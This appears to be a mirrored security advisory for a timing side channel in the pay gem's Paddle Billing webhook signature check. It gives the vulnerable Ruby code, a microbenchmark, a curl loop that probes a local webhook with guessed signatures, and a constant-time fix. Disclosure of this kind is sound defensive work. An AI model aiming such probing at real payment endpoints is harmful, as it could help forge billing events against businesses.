Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-mjgf-xj26-9qf9

HighCVSS 7.4 / 10
Published Jul 1, 2026·Last modified Jul 1, 2026
Affected Components(0)

No affected components available

Description

Summary

Pay::Webhooks::PaddleBillingController#valid_signature? (app/controllers/pay/webhooks/paddle_billing_controller.rb) verifies the Paddle Billing webhook signature by computing OpenSSL::HMAC.hexdigest(...) and comparing it to the attacker-supplied header value using Ruby's String#==. Ruby's == is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (OpenSSL.fixed_length_secure_compare / ActiveSupport::SecurityUtils.secure_compare).

Impact

  • CWE-208 — Observable Timing Discrepancy on the webhook signature verifier.
  • An attacker who can deliver requests to the /pay/webhooks/paddle_billing mount point can probe the verifier with guessed Paddle-Signature header values. Because String#== short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.
  • A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. subscription.created / transaction.completed) against the host application. Pay's webhook processor enqueues a Pay::Webhooks::ProcessJob for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications.
  • The endpoint is internet-reachable by definition (Paddle must POST events to it).

Affected versions

pay (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).

Vulnerable code (file:line)

app/controllers/pay/webhooks/paddle_billing_controller.rb:

24:      def valid_signature?(paddle_signature)
25:        return false if paddle_signature.blank?
26:
27:        ts_part, h1_part = paddle_signature.split(";")
28:        _, ts = ts_part.split("=")
29:        _, h1 = h1_part.split("=")
30:
31:        signed_payload = "#{ts}:#{request.raw_post}"
32:
33:        key = Pay::PaddleBilling.signing_secret
34:        data = signed_payload
35:        digest = OpenSSL::Digest.new("sha256")
36:
37:        hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
38:        hmac == h1                          # <-- non-constant-time '=='
39:      end

hmac is the 64-character hex-encoded SHA-256 HMAC of "<ts>:<raw_post>" under the application's configured Paddle Billing signing secret. The comparison with h1 (the attacker-supplied h1= token from the Paddle-Signature header) uses Ruby's native String#==, which is implemented in MRI as rb_str_equal and returns immediately on the first byte mismatch.

How an attacker reaches this code

  1. Any Pay-using Rails application mounting Pay::Engine exposes POST /pay/webhooks/paddle_billing to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in config/routes.rb when paddle_billing is enabled.
  2. The controller's before_action :verify_signature invokes valid_signature? on every inbound request.
  3. An attacker repeatedly POSTs forged webhook payloads with Paddle-Signature: ts=<now>;h1=<guess> headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of <guess> matches the real hmac.
  4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.

Proof of concept (microbenchmark)

Local Ruby microbenchmark isolating the verifier comparison path:

require 'openssl'
require 'benchmark'
require 'securerandom'

key = SecureRandom.hex(32)
payload = '1730000000:{"event_type":"transaction.completed"}'
real_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)
puts "real_hmac=#{real_hmac}"

def verify(real, guess)
  real == guess     # mirrors paddle_billing_controller.rb:38
end

guesses = {
  'all-wrong'    => ('0' * real_hmac.length),
  'match-1byte'  => real_hmac[0..0]  + '0' * (real_hmac.length - 1),
  'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32),
  'match-63byte' => real_hmac[0..62] + '0',
  'exact-match'  => real_hmac.dup,
}
iters = 10_000_000
3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } }  # warmup
guesses.each do |label, g|
  t = Benchmark.realtime { iters.times { real_hmac == g } }
  puts "#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}"
end

This isolates the same String#== path used by valid_signature?. The static defect is verifiable by bundle show pay and reading line 38 of the controller.

End-to-end reproduction against gem install pay --version 11.6.1

Minimal Rails 8 app mounting Pay::Engine with paddle_billing enabled:

gem install rails -v 8.0.2
rails new payapp --skip-test --skip-bundle
cd payapp
echo "gem 'pay', '11.6.1'" >> Gemfile
echo "gem 'paddle', '~> 2.0'" >> Gemfile
bundle install
bin/rails g pay:install
# config/initializers/pay.rb adds Pay.setup, paddle_billing config
# config/routes.rb already has 'mount Pay::Engine => "/pay"' from generator

bin/rails server &

# attacker probes the webhook endpoint
WEBHOOK="http://127.0.0.1:3000/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)
# Try guesses with different prefix-match counts; response-time delta is the oracle
for guess in 0000000000000000000000000000000000000000000000000000000000000000 \
             a000000000000000000000000000000000000000000000000000000000000000 ; do
  for _ in 1 2 3; do
    curl -s -w '%{time_total}\n' -o /dev/null \
      -X POST -H "Paddle-Signature: ts=$TS;h1=$guess" \
      -H 'Content-Type: application/json' -d "$BODY" "$WEBHOOK"
  done
done

The static defect is verifiable by:

$ bundle show pay
.../gems/pay-11.6.1
$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb
        hmac == h1

After the fix is applied, the verifier uses ActiveSupport::SecurityUtils.secure_compare, which compares all bytes regardless of mismatch position, and the timing oracle closes.

Suggested fix

Replace == with ActiveSupport::SecurityUtils.secure_compare (Pay is a Rails engine, so ActiveSupport is always available).

       def valid_signature?(paddle_signature)
         return false if paddle_signature.blank?
 
         ts_part, h1_part = paddle_signature.split(";")
         _, ts = ts_part.split("=")
         _, h1 = h1_part.split("=")
 
         signed_payload = "#{ts}:#{request.raw_post}"
 
         key = Pay::PaddleBilling.signing_secret
         data = signed_payload
         digest = OpenSSL::Digest.new("sha256")
 
         hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
-        hmac == h1
+        return false if h1.nil? || hmac.bytesize != h1.bytesize
+        ActiveSupport::SecurityUtils.secure_compare(hmac, h1)
       end

The bytesize-equality guard ensures secure_compare does not return early on a length mismatch (it falls back to == if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.

Credit

Reported by tonghuaroot (https://github.com/tonghuaroot).

Risk Scores
Base Score
7.4

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
6.8

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard